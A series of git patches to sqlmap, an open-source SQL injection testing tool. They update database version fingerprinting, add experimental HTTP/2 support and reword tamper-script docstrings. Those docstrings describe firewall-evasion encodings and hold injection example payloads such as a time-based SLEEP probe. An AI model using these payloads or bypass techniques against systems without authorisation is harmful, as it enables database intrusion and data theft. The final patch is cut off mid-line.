TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index d0817235d7f..c60683f4a1f 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -45,10 +45,13 @@ def _commentCheck(self): # Reference: https://dev.mysql.com/doc/relnotes/mysql/./en/ versions = ( + (90100, 90102), # MySQL 9.1 + (90000, 90002), # MySQL 9.0 + (80400, 80404), # MySQL 8.4 (80300, 80302), # MySQL 8.3 (80200, 80202), # MySQL 8.2 (80100, 80102), # MySQL 8.1 - (80000, 80037), # MySQL 8.0 + (80000, 80041), # MySQL 8.0 (60000, 60014), # MySQL 6.0 (50700, 50745), # MySQL 5.7 (50600, 50652), # MySQL 5.6 diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index ec04b0d031a..34ed00980cb 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -133,7 +133,9 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("RANDOM_NORMAL(0.0, 1.0) IS NOT NULL"): + if inject.checkBooleanExpression("JSON_QUERY(NULL::jsonb, '$') IS NULL"): + Backend.setVersion(">= 17.0") + elif inject.checkBooleanExpression("RANDOM_NORMAL(0.0, 1.0) IS NOT NULL"): Backend.setVersion(">= 16.0") elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): Backend.setVersion(">= 15.0") From ff249d24c74c68a62cb0bcfbb88d7c146985dc49 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 18 Feb 2025 10:31:35 +0100 Subject: [PATCH 138/853] Fixes #5857 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f1244fb90bf..d499344abed 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -b341a933732b17cab993efcc7ef211e125f534f8ce127e0ed156c11fe1ea22b3 lib/core/settings.py +86bad3e47ce4ec3252a4fe8107b646fa8985d819454013e4bd58441bcd5fd20e lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -211,7 +211,7 @@ cbabdde72df4bd8d6961d589f1721dd938d8f653aa6af8900a31af6e2586405d lib/parse/site 89417568d7f19e48d39a8a9a4227d3d2b71d1c9f61139a41b1835fb5266fcab8 lib/request/basic.py 6139b926a3462d14ddd50acdb8575ae442b8fab089db222721535092b9af3ea1 lib/request/chunkedhandler.py ad661a075c6df0624747722d77ca3b1f69f36e54708e33673a33cfdef1ed5075 lib/request/comparison.py -65c57ca9de892b6b7b55e1b13392f94e831710f7d21755a7d85eb6db4f61eb41 lib/request/connect.py +2dfe357dfa62f40d711e6809a93ce46d7c0478118155da4fc35ac081d4a43ec7 lib/request/connect.py 0649a39c5cc2fc0f4c062b100ced17e3e6934a7e578247dfc65b650edc29825e lib/request/direct.py 5283754cf387ce4e645ee50834ee387cde29a768aaada1a6a07c338da216c94d lib/request/dns.py 2dd88e1f75c0ee54c335d5d0d9199216194aa299bd8ce99dca333c2e4f9ea38b lib/request/httpshandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f2273611e6a..53d788c4826 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.6" +VERSION = "1.9.2.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index de91c564e0a..22d01279a97 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1198,7 +1198,7 @@ def _adjustParameter(paramString, parameter, newValue): warnMsg += ". sqlmap is going to retry the request" logger.warning(warnMsg) - page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.csrfData or (conf.data if conf.csrfUrl == conf.url else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') match = re.search(r"(?i)]+\bname=[\"']?(?P%s)\b[^>]*\bvalue=[\"']?(?P[^>'\"]*)" % conf.csrfToken, page or "", re.I) From 25925961bad6926443cfb4798b4e8d4cf7451b47 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 18 Feb 2025 10:50:50 +0100 Subject: [PATCH 139/853] Fixes #5856 --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 3 ++- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d499344abed..3b43e3e1934 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ de2b0220db1c79d8720b636d267b11e117151f5f99740567096e9b4cbb7cc9d5 lib/controller 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/controller/__init__.py 41c7fb7e486c4383a114c851f0c32c81c53c2b4f1d2a0fd99f70885072646387 lib/core/agent.py f848dcfdacb5143f803f4e9474cf3eef939039c26c522ca09777c425661300f0 lib/core/bigarray.py -129bcc6342e2398c9d66204524ceb005121b83a23311e0724891d4cd0abd17a5 lib/core/common.py +eaf9d2d47305764213ada74b7a83721fc5f49578f2d8afa78799855068acb416 lib/core/common.py 88fbbe7c41511b17d7ef449d675a84eaa80cac6ebf457a18577eadd62f6f1330 lib/core/compat.py 5ce8f2292f99d17d69bfc40ded206bfdfd06e2e3660ff9d1b3c56163793f8d1c lib/core/convert.py f561310b3cea570cc13d9f0aff16cce8b097d51275f8b947e7fff4876ac65c32 lib/core/data.py @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -86bad3e47ce4ec3252a4fe8107b646fa8985d819454013e4bd58441bcd5fd20e lib/core/settings.py +6bb2a76f94ecadb3f97a33901856a20c8d90d7b8b2866a264975c0501192ca72 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 281fb3c4b72..8e4d06e35ed 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5605,7 +5605,8 @@ def checkSums(): if match: expected, filename = match.groups() filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) - checkFile(filepath) + if not checkFile(filepath, False): + continue with open(filepath, "rb") as f: content = f.read() if not hashlib.sha256(content).hexdigest() == expected: diff --git a/lib/core/settings.py b/lib/core/settings.py index 53d788c4826..99e5cde0b63 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.7" +VERSION = "1.9.2.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From fa9dc20c6e0d1cb7b5c6cf71f59e62a38a81141e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 19 Feb 2025 14:11:03 +0100 Subject: [PATCH 140/853] Minor update --- data/txt/sha256sums.txt | 22 +++++++++++----------- lib/core/settings.py | 2 +- tamper/0eunion.py | 2 +- tamper/apostrophemask.py | 2 +- tamper/apostrophenullencode.py | 2 +- tamper/appendnullbyte.py | 2 +- tamper/base64encode.py | 2 +- tamper/between.py | 2 +- tamper/binary.py | 2 +- tamper/bluecoat.py | 2 +- tamper/chardoubleencode.py | 2 +- tamper/randomcomments.py | 2 +- 12 files changed, 22 insertions(+), 22 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3b43e3e1934..a7c8b17ef95 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -6bb2a76f94ecadb3f97a33901856a20c8d90d7b8b2866a264975c0501192ca72 lib/core/settings.py +167941c1f7c279d31a377a80915de0cae31f06ba39bf802571a9980bb5ffbfff lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -478,15 +478,15 @@ b3d9d0644197ecb864e899c04ee9c7cd63891ecf2a0d3c333aad563eef735294 plugins/generi 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 6da15963699aa8916118f92c8838013bc02c84e4d7b9f33d971324c2ff348728 sqlmap.conf 3795c6d03bc341a0e3aef3d7990ea8c272d91a4c307e1498e850594375af39f7 sqlmap.py -d6788235cd599e05cb65e9c3279a03b1cf769d4aa15c78d226a1d2cf6aa14e86 tamper/0eunion.py -35ad42cc9fbe66f025d9f6d0b1284a9f00213510e3c39e60a2d8f3e8b6a77e7b tamper/apostrophemask.py -71bc240d0153fccb9caa828f05eca4e9d51c2e5510dee9fb8533b70226d29207 tamper/apostrophenullencode.py -847b5dc53e195f30abaa6e60b9bc9f39e15df7e6c2a99b31a435b69a345c0937 tamper/appendnullbyte.py -510b050400bf8cf3ed30d29635083dd69692ec0ca20fe9cb9958feb4f89e34fe tamper/base64encode.py -c41f1f5fa2fa73b130f9194e89a04b512fe21784cf1a94e3a61680995999b1dd tamper/between.py -576aa77cacbe18695038eeab851be217347ed28d1c0505a098e93fcb3db3575b tamper/binary.py -805239f02e8f1bbc3374cb02aec3aa6ae37b72716344f201094c9f39ff35e655 tamper/bluecoat.py -5e52fb35fbd46cd5293c03491913b655eb47ddb7e99c2830e454945eee693a22 tamper/chardoubleencode.py +9d408612a6780f7f50a7f7887f923ff3f40be5bfa09a951c6dc273ded05b56c0 tamper/0eunion.py +c1c2eaa7df016cc7786ccee0ae4f4f363b1dce139c61fb3e658937cb0d18fc54 tamper/apostrophemask.py +19023093ab22aec3bce9523f28e8111e8f6125973e6d9c82adb60da056bdf617 tamper/apostrophenullencode.py +ffb81905dfbfa346f949aed54755944403bfbc0cc015cd196e412d7c516c5111 tamper/appendnullbyte.py +50c270f6073a2dab08a5d64a91db1d1b372a206abd85ad54a630e1067ad614cf tamper/base64encode.py +874aea492eed81c646488cd184a2c07b0fba2be247208227c91de9b223b016ee tamper/between.py +386ede29943456818e22ec9d1555693c9d676c9330bc527dbb9b3f52c9b3cbb1 tamper/binary.py +63a3fc494ff07b9f0e37025ff932b386aaeafd24a65da7f530f562ed78083c51 tamper/bluecoat.py +4635c3b863e624169347d37834021402d95b4240bd138bec2ffc9d4f28d23422 tamper/chardoubleencode.py fa25e5a74c6cf0787b4f72321294095a3b7690f53423f058187ad08b458ef1fe tamper/charencode.py 1c87fc49792df6091b7eb880108142b42a0a3810cc0cd2316a858ccdbf1c5ce4 tamper/charunicodeencode.py 00d51073f9e40d8dfa5fcb04eafda359bd0ecb91e358b3910f3ec43c1a381111 tamper/charunicodeescape.py @@ -523,7 +523,7 @@ a1e7d8907e7b4b25b1a418e8d5221e909096f719dcb611d15b5e91c83454ccdc tamper/overlon 704551003e62d4fc1949855931d6cebd57cc5cdbf2221dbd43e51cbdad6f130d tamper/plus2concat.py b9d1e3ee657236b13ad5ecaf2adfa089e24a0e67738253eedb533a68f277a6e3 tamper/plus2fnconcat.py fb4b7539284db076147a530df1dd072d5d35e32a71fd7bc8e312319d5f3aaa52 tamper/randomcase.py -b27066b7ea4f69243d5a353327090a0630bbf7f512edf5e277cde2c10139b3dd tamper/randomcomments.py +f40d9267b4e9b689412cd45eb7b61540420f977370c5f9deba272bdae09d2404 tamper/randomcomments.py 35a8539ac8030d3fc176ea8231fe8983285fc576f7e0b50ccdf911a565f1f758 tamper/schemasplit.py a34524af6fe2f2bba642b3234fbf1aa8785761e7d82906005b5476b7cc724857 tamper/scientific.py 65d22c54abfa61b73140020d48a86ec8eeb4c9e4e5e088d1462e4bce4a64f18b tamper/sleep2getlock.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 99e5cde0b63..01bf527b846 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.8" +VERSION = "1.9.2.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/0eunion.py b/tamper/0eunion.py index cec753c5022..f289ae4563c 100644 --- a/tamper/0eunion.py +++ b/tamper/0eunion.py @@ -16,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces instances of UNION with e0UNION + Replaces an integer followed by UNION with an integer followed by e0UNION Requirement: * MySQL diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index 92c4faa004a..83a4d612912 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) + Replaces single quotes (') with their UTF-8 full-width equivalents (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index ba14d9703e8..ee37a8afdeb 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27) + Replaces single quotes (') with an illegal double Unicode encoding (e.g. ' -> %00%27) >>> tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index 7905fa3bc8b..b39105ad52a 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -18,7 +18,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Appends (Access) NULL byte character (%00) at the end of payload + Appends an (Access) NULL byte character (%00) at the end of payload Requirement: * Microsoft Access diff --git a/tamper/base64encode.py b/tamper/base64encode.py index 72171380938..fcd9e671589 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -15,7 +15,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Base64-encodes all characters in a given payload + Encodes the entire payload using Base64 >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' diff --git a/tamper/between.py b/tamper/between.py index a94cc90f2f0..c71104c98f4 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -16,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #' + Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND # Tested against: * Microsoft SQL Server 2005 diff --git a/tamper/binary.py b/tamper/binary.py index 9e1b640bc9e..b0aaeae4684 100644 --- a/tamper/binary.py +++ b/tamper/binary.py @@ -16,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Injects keyword binary where possible + Injects the keyword binary where applicable Requirement: * MySQL diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 064a4cb089f..315f2aef611 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -17,7 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE + Replaces the space following an SQL statement with a random valid blank character, then converts = to LIKE Requirement: * Blue Coat SGOS with WAF activated as documented in diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 2915a85dad8..8ac5c16f014 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -16,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554) + Double URL-encodes each character in the payload (ignores already encoded ones) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554) Notes: * Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index ec5e1f5d592..993684abae6 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -16,7 +16,7 @@ def tamper(payload, **kwargs): """ - Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT) + Inserts random inline comments within SQL keywords (e.g. SELECT -> S/**/E/**/LECT) >>> import random >>> random.seed(0) From 327f98aaa354d03141c94f9ad693638b81449bd6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 20 Feb 2025 13:03:47 +0100 Subject: [PATCH 141/853] Implement experimental --http2 (#4402) --- data/txt/sha256sums.txt | 12 +++++----- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/request/connect.py | 49 +++++++++++++++++++++++++++++++++++------ lib/utils/deps.py | 10 +++++++++ sqlmap.conf | 4 ++++ 7 files changed, 67 insertions(+), 14 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a7c8b17ef95..9f8158a8517 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -180,7 +180,7 @@ ec8d94fb704c0a40c88f5f283624cda025e2ea0e8b68722fe156c2b5676f53ac lib/core/dicts 93c256111dc753967169988e1289a0ea10ec77bfb8e2cbd1f6725e939bfbc235 lib/core/gui.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/core/__init__.py 53499dc202a036289e3b2b9699d19568e794d077e16fd3a5c91771983de45451 lib/core/log.py -eb1890d111e6187cac4cf81c3a525e95e7061607847d4f05ec23f9dba8febdcd lib/core/optiondict.py +bcb54f1813b3757fe717d7b4f3429fbcd08ff416af1100b716708955702e66d6 lib/core/optiondict.py ceea031ce1a49a20af689d750d33d057e38a7c631f008872b04f380e2de39bb9 lib/core/option.py 81275fdbd463d89a2bfd8c00417a17a872aad74f34c18e44be79c0503e67dfa5 lib/core/patch.py e79df3790f16f67988e46f94b0a516d7ee725967f7698c8e17f210e4052203a7 lib/core/profiling.py @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -167941c1f7c279d31a377a80915de0cae31f06ba39bf802571a9980bb5ffbfff lib/core/settings.py +2511201edc299a8efca0f9f5b55423503ef5e5982c16c4938ec4b0be842abb6f lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -199,7 +199,7 @@ b1071f449a66b4ceacd4b84b33a73d9e0a3197d271d72daaa406ba473a8bb625 lib/core/testi 12cbead4e9e563b970fafb891127927445bd53bada1fac323b9cd27da551ba30 lib/core/wordlist.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/__init__.py a027f4c44811cb74aa367525f353706de3d3fc719e6c6162f7a61dc838acf0c2 lib/parse/banner.py -9c7f95948cb6ee20b2b5bff7b36c23179c44303d3c8ad555247f65f12f30e0a9 lib/parse/cmdline.py +f8d1701df33a31920e2ebf9a23fa7b6f4ccd2aff22b4ae1e14b495e51e5939fe lib/parse/cmdline.py 3907765df08c31f8d59350a287e826bd315a7714dc0e87496f67c8a0879c86ac lib/parse/configfile.py ced03337edd5a16b56a379c9ac47775895e1053003c25f6ba5bec721b6e3aa64 lib/parse/handler.py 3704a02dcf00b0988b101e30b2e0d48acdd20227e46d8b552e46c55d7e9bf28c lib/parse/headers.py @@ -211,7 +211,7 @@ cbabdde72df4bd8d6961d589f1721dd938d8f653aa6af8900a31af6e2586405d lib/parse/site 89417568d7f19e48d39a8a9a4227d3d2b71d1c9f61139a41b1835fb5266fcab8 lib/request/basic.py 6139b926a3462d14ddd50acdb8575ae442b8fab089db222721535092b9af3ea1 lib/request/chunkedhandler.py ad661a075c6df0624747722d77ca3b1f69f36e54708e33673a33cfdef1ed5075 lib/request/comparison.py -2dfe357dfa62f40d711e6809a93ce46d7c0478118155da4fc35ac081d4a43ec7 lib/request/connect.py +40543c462d261c8cec1ec1f68033bd3d7b4e72688aa9eb564b2c474947a449da lib/request/connect.py 0649a39c5cc2fc0f4c062b100ced17e3e6934a7e578247dfc65b650edc29825e lib/request/direct.py 5283754cf387ce4e645ee50834ee387cde29a768aaada1a6a07c338da216c94d lib/request/dns.py 2dd88e1f75c0ee54c335d5d0d9199216194aa299bd8ce99dca333c2e4f9ea38b lib/request/httpshandler.py @@ -244,7 +244,7 @@ b781403433a2ad9a18fa9b1cc291165f04f734942268b4eba004a53afe8abe49 lib/techniques c09927bccdbdb9714865c9a72d2a739da745375702a935349ddb9edc1d50de70 lib/utils/api.py 1d72a586358c5f6f0b44b48135229742d2e598d40cefbeeabcb40a1c2e0b70b2 lib/utils/brute.py dd0b67fc2bdf65a4c22a029b056698672a6409eff9a9e55da6250907e8995728 lib/utils/crawler.py -41a037169ca0b595781d70d6af40e2b47c9a2732fd08378029502bbe6f522960 lib/utils/deps.py +eac125d270256eff54e39736a423dde866bac3b2bb4c76d3cbc32fc53b3bbb99 lib/utils/deps.py 0b83cc8657d5bea117c02facde2b1426c8fe35d9372d996c644d67575d8b755f lib/utils/getch.py c2a2fa68d2c575ab35f472d50b8d52dd6fc5e1b4d6c86a06ac06365650fec321 lib/utils/har.py e6376fb0c3d001b6be0ef0f23e99a47734cfe3a3d271521dbe6d624d32f19953 lib/utils/hashdb.py @@ -476,7 +476,7 @@ b3d9d0644197ecb864e899c04ee9c7cd63891ecf2a0d3c333aad563eef735294 plugins/generi 5a473c60853f54f1a4b14d79b8237f659278fe8a6b42e935ed573bf22b6d5b2c README.md 8c4fd81d84598535643cf0ef1b2d350cd92977cb55287e23993b76eaa2215c30 sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml -6da15963699aa8916118f92c8838013bc02c84e4d7b9f33d971324c2ff348728 sqlmap.conf +4037f1c78180550c1896543581c0c2423e970086bae46f175397f2b4c54b7323 sqlmap.conf 3795c6d03bc341a0e3aef3d7990ea8c272d91a4c307e1498e850594375af39f7 sqlmap.py 9d408612a6780f7f50a7f7887f923ff3f40be5bfa09a951c6dc273ded05b56c0 tamper/0eunion.py c1c2eaa7df016cc7786ccee0ae4f4f363b1dce139c61fb3e658937cb0d18fc54 tamper/apostrophemask.py diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 1b7619b5452..ef684df4c21 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -30,6 +30,7 @@ "liveCookies": "string", "loadCookies": "string", "dropSetCookie": "boolean", + "http2": "boolean", "agent": "string", "mobile": "boolean", "randomAgent": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 01bf527b846..eb8bc70a337 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.9" +VERSION = "1.9.2.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 2535bba91dd..298e94c6c31 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -177,6 +177,9 @@ def cmdLineParser(argv=None): request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true", help="Ignore Set-Cookie header from response") + request.add_argument("--http2", dest="http2", action="store_true", + help="Use HTTP version 2 (experimental)") + request.add_argument("--mobile", dest="mobile", action="store_true", help="Imitate smartphone through HTTP User-Agent header") diff --git a/lib/request/connect.py b/lib/request/connect.py index 22d01279a97..bbe3ecb160e 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -90,6 +90,7 @@ class WebSocketException(Exception): from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException @@ -603,11 +604,6 @@ class _(dict): if not chunked: requestMsg += "\r\n" - if not multipart: - threadData.lastRequestMsg = requestMsg - - logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) - if conf.cj: for cookie in conf.cj: if cookie.value is None: @@ -616,7 +612,46 @@ class _(dict): for char in (r"\r", r"\n"): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) - conn = _urllib.request.urlopen(req) + if conf.http2: + try: + import httpx + with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj) as client: + conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) + except ImportError: + raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else "")) + else: + conn.code = conn.status_code + conn.msg = conn.reason_phrase + conn.info = lambda c=conn: c.headers + + conn._read_buffer = conn.read() + conn._read_offset = 0 + + requestMsg = re.sub(" HTTP/[0-9.]+\r\n", " %s\r\n" % 